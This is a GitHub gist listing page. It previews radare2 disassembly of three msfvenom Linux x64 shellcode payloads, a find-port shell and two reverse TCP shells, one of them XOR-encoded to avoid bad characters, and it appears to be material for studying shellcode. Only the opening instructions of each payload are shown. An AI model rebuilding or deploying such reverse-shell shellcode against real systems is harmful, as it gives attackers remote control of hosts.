Skip to content

Instantly share code, notes, and snippets.

View alanvivona's full-sized avatar
🤖

Alan Vivona alanvivona

🤖
View GitHub Profile
@alanvivona
alanvivona / msfvenom-shell_find_port.r2out
Created February 22, 2019 21:24
radare2 pd output for msfvenom: linux/x64/shell_find_port
0x00 4831ff xor rdi, rdi
0x03 4831db xor rbx, rbx
0x06 b314 mov bl, 0x14 ; 20
0x08 4829dc sub rsp, rbx
0x0b 488d1424 lea rdx, [rsp]
0x0f 488d742404 lea rsi, [rsp + 4] ; 4
┌─> 0x14 6a34 push 0x34 ; '4' ; 52
@alanvivona
alanvivona / linux_x64_shell_reverse_tcp_NOBADCHARS.r2out
Last active February 22, 2019 21:12
radare2 pd output for msfvenom: linux/x64/shell_reverse_tcp, bad characters have been removed using -b '\x00\x09\x0a\x0d\x1a\x20'
0x00 4831c9 xor rcx, rcx
0x03 4881e9f6ffff. sub rcx, 0xfffffffffffffff6
0x0a 488d05efffff. lea rax, [0x00000000]
0x11 48bba062921b. movabs rbx, 0x2cbc29441b9262a0
┌─> 0x1b 48315827 xor qword [rax + 0x27], rbx
╎ 0x1f 482df8ffffff sub rax, 0xfffffffffffffff8
└─< 0x25 e2f4 loop 0x1b
@alanvivona
alanvivona / linux_x64_shell_reverse_tcp.r2out
Last active February 25, 2019 23:16
radare2 pd output for msfvenom: linux/x64/shell_reverse_tcp
0x00 6a29 push 0x29 ; ')' ; 41
0x02 58 pop rax
0x03 99 cdq
0x04 6a02 push 2 ; 2
0x06 5f pop rdi
0x07 6a01 push 1 ; 1
0x09 5e pop rsi